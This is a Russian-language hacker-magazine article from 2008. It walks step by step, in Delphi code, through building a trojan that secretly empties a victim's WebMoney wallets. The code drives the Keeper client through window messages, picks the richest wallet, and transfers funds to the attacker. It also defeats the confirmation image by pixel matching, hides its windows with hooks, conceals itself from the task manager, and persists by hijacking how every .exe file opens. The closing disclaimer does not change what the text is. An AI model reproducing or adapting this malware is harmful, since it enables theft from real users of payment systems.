Уводим WebMoney
Мгновенный и скрытый перевод электронных денег SIR (sir-xaker@mail.ru)
🕛 28.08.2008, 16:42
Существуeт особый сорт людей, которые не хотят работать, но при этом мечтают кататься как сыр в масле. Они обычно зарабатывают на жизнь не очень честно, но перед снятием сливок им все-таки приходится поработать своими извилинами. В этой статье мы рассмотрим один из таких умственных экспериментов.Предыстория
О способах похищения денег с кошельков WebMoney ходят легенды: специальные сборщики, накрутчики WM-денег, взлом программы-клиента, перехваты трафика с серверов и другие фантастические истории. Все эти способы - выдумка. Взломать напрямую WM Keeper не очень сложно, но это бесполезная трата времени: все операции осуществляются только на сервере, и никакой перехват трафика здесь не поможет. Keeper является всего лишь передатчиком действий пользователя и средством просмотра состояния счета. Ты задаешь команду - сервер ее выполняет. Если выполнить команду невозможно (например, недостаточно денег на счете для перевода) - появится сообщение об ошибке.
Пожалуй, только хищение самих ключей от WM Keeper'а долгое время оставалось единственной реальной возможностью получить доступ к чужим кошелькам. Но появление таких дополнительных мер защиты, как увеличение размера ключей до 100 МБ и активизация через e-mail при использовании с другого компьютера, сделало и этот способ абсолютно бесполезным. (Я бы не так сказал. Например, у меня активация отключена, так как часто работаю с виртуальными и зашифрованными дисками, подключение которых Keeper воспринимает как изменение аппаратной конфигурации и требует ввода кода. Задание размера ключей в версии 3.0.0.0 я не нашел. А вот хранение ключей на enum.ru решает проблему хищения, но этим сервисом пользуются не все. - Прим. редактора)
Мой метод довольно прост. Все началось с того, что я случайно забрел на давно забытую ссылку - http://www.xakep.ru//magazine/xa/067/042/1.asp. Автор изобрел оригинальный метод, основанный на стандартных WinAPI-функциях. Однако и эта статья устарела и пришла в негодность. Я кардинально переработал его метод и вложил часть своего замысла.
begin
В начале наша программа будет просто висеть в памяти и проверять все окна на наличие заголовка "WebMoney Keeper". Это легко делается с помощью API-функции:
FindWindow:
var KeeperWnd:HWND;
while KeeperWnd=0 do
KeeperWnd:=FindWindow(nil,PChar('WebMoney Keeper'));
Впоследствии мы будем получать хэндлы дочерних окон (нужные поля ввода, кнопки и другие необходимые объекты). Для их получения используется функция GetWindow, первым параметром которой выступает хэндл основного окна, а вторым - GW_CHILD.
Итак, программа запущена. Теперь проверяем ее коннект к серваку. Эту проверку я реализовал следующим образом. API-функцией GetWindow получаем хэндлы дочерних окон: полей ввода, кнопок и др. Шестым будет хэндл кнопки, на которой написан статус программы (онлайн или оффлайн). При помощи функции GetWindowText мы считываем с нее текст. Однако нам недостаточно знать статус, ведь программа проходит этап авторизации. Нам необходимо ждать появления такой строки текста: «OnLine [WMID] - Обновить данные». (В версии 3.0.0.1 можно, например, ждать исчезновения многоточия из этой строки. - Прим. редактора)
Определяем статус Keeper’а
var
buf:array[1..100] of char;
ButtonWnd:array[1..20] of HWND;
i:integer;
ZeroMemory(@buf,sizeof(buf));
ButtonWnd[1]:=GetWindow(KeeperWnd,GW_CHILD);
for i:=2 to 6 do ButtonWnd:=GetWindow(ButtonWnd[i-1],GW_HWNDNEXT);
repeat
GetWindowText(ButtonWnd[6],@buf,SizeOf(buf));
until pos('Обновить данные',buf)<>0;
Автор статьи от 2003-го года предлагает лазить по меню настройки программы WM и изменять параметры безопасности. Это лишнее. Во-первых, установленные настройки на работу вируса влиять абсолютно не будут. Во-вторых, главные настройки безопасности все равно не удастся изменить: разработчики учли этот недостаток и влепили подтверждение установленных изменений вводом трехзначного числа. И, в-третьих, это дополнительная трата времени работы вируса и лишнее палево. А мы для начала жмем на кнопку «Меню» и добираемся до пункта «В кошелек WebMoney…»:
Пытаемся открыть окно перевода денег - "Передать WM"
SendMessage(KeeperWnd,WM_SYSCOMMAND,SC_RESTORE,0);
BringWindowToTop(KeeperWnd);
SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_SPACE,0);
SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_SPACE,0);
for i:=1 to 8 do begin
SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0);
SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0);
end;
SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0);
SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0);
SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0);
SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0);
SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0);
SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0);
SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RETU,0);
ButtonWnd[5] - это указатель на кнопку "Меню". Сначала мы выдвигаем окно Keeper'а на передний фон, затем жмем на кнопку и начинаем путешествовать по меню до нужного нам пункта.
Снова получаю хэндл появившегося окна с помощью функции FindWindow и получаю хэндлы нужных мне полей ввода. Я опять, не усложняя себе жизнь, прогнал цикл for для получения нужных мне дочерних окон. В 3.0.0.0 версии WM многие кнопки поменяли свои места. Здесь я опишу достоверную их позицию.
Находим хэндлы полей ввода, кнопок и других необходимых объектов
var
Transfer:HWND;
TransWnd:array[1..40] of HWND;
repeat
Transfer:=FindWindow(nil,PChar('Передать WM'));
until Transfer<>0;
TransWnd[1]:=GetWindow(Transfer,GW_CHILD);
for i:=2 to 37 do TransWnd:=GetWindow(TransWnd[i-1],GW_HWNDNEXT);
Соответствие номеров конкретным объектам смотри на рисунке.
Далее мне была непонятна логика автора предыдущей статьи, ведь он сразу перешел к заполнению полей ввода суммы и типа своего кошелька. Во-первых, откуда он знает, сколько денег имеет юзер? $1000, $10, а может 0? Во-вторых, деньги, возможно, имеются не только в Z-кошельке, ведь еще есть R, U, E. В-третьих, не факт, что юзер использует только 4 кошелька. В WM, например, можно создать кучу дополнительных однотипных кошельков для одного WMID. Более того, в настройках по умолчанию можно поставить любой номер кошелька, поэтому не факт, что им по умолчанию будет только Z. Ввиду всего вышесказанного я буду создавать массив данных, где будут записаны все имеющиеся кошельки. Код смотри во врезке. Тут мы сначала переходим к самому первому кошельку, потом получаем его номер, тип и сумму на нем и добавляем всю информацию в массив. Затем переходим к следующему кошельку. После выполнения этого куска кода в переменной stop будет записано общее количество кошельков. (Кстати, неплохо бы еще раскидать по всему коду команды sleep(10), чтобы клиент успел обработать сообщения. - Прим. редактора). В этом коде есть одна тонкость, о которой следует рассказать отдельно. В русской версии Винды в качестве разделителя целой и дробной части числа используется запятая, а в кипере - точка. Из-за этого процедуры типа StrToFloat будут работать неправильно. Так что мы будем использовать TextToFloat, как показано, а где-то выше по коду нужно завести переменную format типа TFormatSettings и добавить строчки:
GetLocaleFormatSettings(LANG_SYSTEM_DEFAULT,format);
format.DecimalSeparator:='.';
Теперь мы будем искать кошелек, на котором больше всего денег.
Ищем самый толстый кошелек
var
ind:integer;
koef,max:real;
ind:=0; max:=0.0;
for i:=1 to stop do begin
case Kosh.RZUE of
'R': koef:=1.0;
'Z': koef:=27.2;
'E': koef:=34.2;
'U': koef:=5.3;
else koef:=0.0;
end;
if max<Kosh.Sum*koef then begin
max:=Kosh.Sum*koef;
ind:=i;
end;
end;
Тут мы приводим всю валюту к WMR путем умножения на их курсы и ищем максимальное значение. Если после выполнения кода в ind записано 0, то у юзера не будет денег ни в одном кошельке.
Ну вот, теперь заполняем все поля окна перевода.
Заполняем поля в окне "Передать WM"
for i:=1 to (stop-ind) do begin
PostMessage(TransWnd[1],WM_KEYDOWN,VK_UP,0);
PostMessage(TransWnd[1],WM_KEYUP,VK_UP,0);
end;
SendMessage(TransWnd[3],WM_SETTEXT,0,LongInt(PChar('[Твой WM кошелек]')));
SendMessage(TransWnd[2],WM_SETTEXT,0,LongInt(PChar(FloatToStr(0.992*Kosh[ind].Sum))));
SendMessage(TransWnd[4],WM_SETTEXT,0,LongInt(PChar('В Мировой фонд хакеров!')));
PostMessage(TransWnd[8],WM_KEYDOWN,VK_RETU,0);
PostMessage(TransWnd[8],WM_KEYUP,VK_RETU,0);
Ну что же, перейдем к более сложной части нашего повествования
Распознавание
Если ты уже когда-нибудь пользовался программой WM, то должен был еще в самом начале задаться вопросом: как же обойти подтверждение перевода, ведь там необходимо вводить трехзначное число из картинки!? Мой ответ - никак! Моих знаний ассемблера недостаточно, чтобы проигнорировать эту процедуру. Поэтому придется тупо распознавать эти три меняющиеся в размере цифры. Вообще-то, это отдельная статья, и если кто-нибудь меня хорошо попросит, я могу и о ней написать, так как в инете про это, увы, ничего не сказано. (Именно про алгоритм можно почитать тут - http://www.xakep.ru/magazine/xa/073/120/1.asp - прим. редактора).
Сначала разберемся, что за цифры мы имеем: эта цветная картинка, без рамки имеет размер 46x18 пикселей. Всего три цифры. Первая цифра может принимать два положения - среднее и большое, вторая - среднее и маленькое, третья - среднее, большое, маленькое и наклонное. Но они всегда располагаются в одном и том же месте. Правда, размер окна и положение самой картинки не всегда одинаков (однако всегда неизменным остается ее положение по отношению к нижнему левому краю).
Сначала проверим наличие этого окна:
repeat
Transfer:=FindWindow(nil,PChar('Передача WM клиенту WebMoney'));
until Transfer<>0;
BringWindowToTop(Transfer);
Копируем картинку. Нам потребуется компонент Image.
Копируем картинку
image1.Width:=46;
image1.Height:=18;
GetWindowRect(Transfer,Rect);
DC:=GetDC(Transfer);
BitBlt(Image1.Canvas.Handle,0,0,46,18,DC,123,Rect.Bottom-Rect.Top-55-18-32,SRCCOPY);
ReleaseDC(Transfer,DC);
32 - размер заголовка окна, его тоже надо учитывать. Теперь картинка с цифрами скопирована. Мы разобьем ее на три части (img1, img2, img3) и начнем по пикселям сравнивать матрицу с уже имеющимися моделями (матрицами) цифр. Удобнее, если картинка будет монохромной. Делается это так:
Image1.Picture.Bitmap.PixelFormat:=pf1bit;
Image1.Picture.Bitmap.Monochrome:=true;
Так как ширина картинки 46 пикселей, то разбитие лучше всего сделать таким: 15x18, 16x18 и 15x18 пикселей.
Массив цветов 1-ой цифры
var
img1:array[0..14,1..17]of byte;
x,y:integer;
for x:=0 to 14 do
for y:=0 to 17 do
if image1.Canvas.Pixels [x,y]=clWhite then img1[x,y]:=0
else img1[x,y]:=1;
Для 2-ой и 3-ей цифры делаем аналогично. Теперь наши цифры содержатся в массивах из нулей и единиц. Нам потребуются модели цифр. Всего их будет 40. Понадобится немного терпения, так что сохрани полученную матрицу в текстовый вид, а затем в вирусе создай модели по этим цифрам. Можно чуть ускорить процесс сравнения цифр, если знать ее положение (маленькое, большое и др.). Сам код проверки можно увидеть на диске.
Осталось последнее окно. В него мы отсылаем наши распознанные цифры и жмем кнопку «Да». Затем ждем появления окна результата перевода и закрываем его.
Заполнения окна «Передача WM клиенту WebMoney»
var DT:string;
TransWnd[1]:=GetWindow(Transfer,GW_CHILD);
for i:=2 to 3 do TransWnd:=GetWindow(TransWnd[i-1],GW_HWNDNEXT);
SendMessage(TransWnd[1],WM_SETTEXT,0,LongInt(PChar(IntToStr(S1)+IntToStr(S2)+IntToStr(S3))));
SendMessage(TransWnd[3],WM_IME_KEYDOWN,VK_RETU,0);
SendMessage(TransWnd[3],WM_IME_KEYUP,VK_RETU,0);
DateTimeToString(DT,'yyyy.mm.dd hh:nn',Now);
repeat
Transfer:=FindWindow(nil,PChar('Передача WM '+DT));
until Transfer<>0;
SendMessage(Transfer,WM_CLOSE,0,0);
hidden & dangerous
Чтобы юзер не заподозрил потустороннее программное обеспечение, а главное - открывающиеся окна, нашу программу необходимо скрыть, а весь выше описанный процесс сделать визуально невидимым. Я предлагаю при появлении необходимого нам окна сразу же делать его прозрачным:
SetWindowLong(<хэндл нужного окна>,GWL_EXSTYLE,WS_EX_LAYERED);
SetLayeredWindowAttributes(<хэндл нужного окна>,0,0,$00000002);
Еще можно использовать WinAPI-функции и просто оттащить появившееся окно за пределы экрана:
SetWindowPos((<хэндл нужного окна>,0,2000,2000,0,0,SWP_NOSIZE);
Тут 2000 - это координаты X и Y экрана. Недостаток этого метода лишь в том, что, несмотря на использование оператора repeat, окно все равно успеет прорисоваться, а значит, будет замечен эффект «передергивания» окна. Идеальным вариантом будет использование hook’a на создание окна (про хуки полно документации в инете).
Хук на отлов окон до их прорисовки на экране монитора
Function WndHookProc(nCode:Integer;wParam:UINT;lParam:UINT):LRESULT; stdcall;
begin
KeeperWnd:=FindWindow(nil,PChar('WebMoney Keeper'));
if nCode>=0 then
if PCWPStruct(lParam).Message=WM_SHOWWINDOW then begin
// Делаем над окнами все, что нам нужно
end;
Result:=CallNextHookEx(HookHandle,nCode,wParam,lParam);
end;
Теперь о том, как скрыть наш троян от Ctrl-Alt-Del. Делается это очень просто, посредством хука. Исходник этого хука, включая отлов окон, ты можешь найти на диске. Важно отметить, что dll будет вызываться динамически: если нашу библиотеку запалят, то программа все равно будет продолжать работать и сможет вытащить из себя другую dll. Разумеется, предварительно ее нужно вставить в exe-файл. Это увеличит размеры программы, но зато он будет непреступен. Код вызова такой библиотеки смотри во врезке.
Теперь пару слов об автозагрузке вируса. Большая часть всех троянов использует обычную автозагрузку в реестре: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Но это палевно. Намного лучше будет юзать эту ветвь реестра: HKEY_CLASSES_ROOT\exefile\shell\open\command, изменив значение "%1" %* на ‘имя_вируса.exe "%1" %*’. Теперь, открывая любой exe-файл, будет запускаться наш троян. Чтобы exe-файлы могли загружаться, в вирус нужно обязательно вставить такую строку:
WinExec(PANSIChar(ParamStr(1)),SW_Restore);
Итого
В своей статье я подробно описал весь процесс перевода, но главное - сам метод! Используя такую схему, злобный хакер сможет похищать электронные деньги не только с WebMoney, но и с любых других систем: E-Gold, Яндекс.деньги и т.д.
Конечно же, я никоим образом не призываю всех этим заниматься! Это очень низко и гадко! Это не хакерство, а настоящее киберпадонство! Автор и редакция не собираются нести никакой ответственности за использование данной статьи в ваших грязных целях!
Если у тебя есть какие-нибудь интересные идеи, замечания, предложения - можешь поделиться ими со мной.
DVD
На DVD лежит исходники хука на отлов окон и хук на скрытие от Ctrl-Alt-Del, а также код распознавания цифр. Для работы с ними тебе понадобится компилятор Delphi.
WWW
Про WinAPI можно почитать тут: http://winapi.by.ru/
WWW
Про хуки гляди здесь: www.rsdn.ru/article/baseserv/winhooks.xml
WAING
Автор и редакция не несут никакой ответственности за использование материалов данной статьи в противозаконных целях! Это статья - лишь пример использования WinAPI-сообщений для управления другими приложениями. Проверяй этот материал только на своих WM-кошельках.